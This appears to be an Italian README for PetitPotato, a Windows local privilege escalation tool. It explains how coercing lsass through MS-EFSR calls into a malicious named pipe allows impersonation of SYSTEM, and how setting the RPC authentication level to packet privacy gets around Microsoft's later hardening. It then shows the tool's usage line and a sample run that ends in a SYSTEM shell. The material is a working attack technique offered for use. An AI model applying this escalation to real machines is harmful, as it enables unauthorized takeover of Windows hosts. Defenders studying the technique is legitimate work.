
Escalation dei privilegi locali tramite PetitPotam (Abuso dei privilegi di impersonificazione).
Escalation locale dei privilegi tramite PetitPotam (abuso dei privilegi di impersonificazione).
PetitPotam utilizza MS-EFSR (Encrypting File System Remote), un protocollo usato per eseguire operazioni di manutenzione e gestione su dati crittografati memorizzati in remoto e a cui si accede tramite una rete. In MS-EFSR esiste una serie di API simili a EfsRpcOpenFileRaw. La sintassi dell'API EfsRpcOpenFileRaw è mostrata di seguito.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
Queste API possono specificare un percorso UNC tramite il parametro FileName per aprire oggetti crittografati sul server per il backup o il ripristino. Quando viene specificato un percorso nel formato \\IP\C$, il servizio lsass.exe accederà a \\IP\pipe\srvsvc con i privilegi dell'account NT AUTHORITY SYSTEM.
Se possiamo chiamare l'API EfsRpcOpenFileRaw per forzare il computer locale a connettersi alla named pipe dannosa che abbiamo creato, allora possiamo impersonare il processo client della named pipe e alla fine ottenere il privilegio SYSTEKM.
Ma il vecchio PetitPotam non funziona sulle versioni più recenti di Windows a causa delle limitazioni delle patch correlate. Tuttavia, impostando AuthnLevel su RPC_C_AUTHN_LEVEL_PKT_PRIVACY tramite RpcBindingSetAuthInfoW prima di chiamare EFS funziona sui sistemi più recenti.
A dicembre 2021, Microsoft ha rilasciato una patch per una diversa vulnerabilità EFSRPC: CVE-2021-43217. Come parte della risoluzione di questo problema, Microsoft ha implementato alcune misure di rafforzamento sulla comunicazione EFSRPC. In particolare, i client EFSRPC dovrebbero usare RPC_C_AUTHN_LEVEL_PKT_PRIVACY quando utilizzano EFSRPC. Se il client non lo fa, viene rifiutato e viene generato un evento applicazione di Windows.
Attualmente, il progetto può elevare perfettamente i privilegi a SYSTEM su tutte le versioni di Windows (testato su Windows 21H2 10.0.20348.1547).
PetitPotato.exe [EfsID] [Command]
EfsID: numero dell'API MS-EFSR da utilizzareCommand: comando da eseguireC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
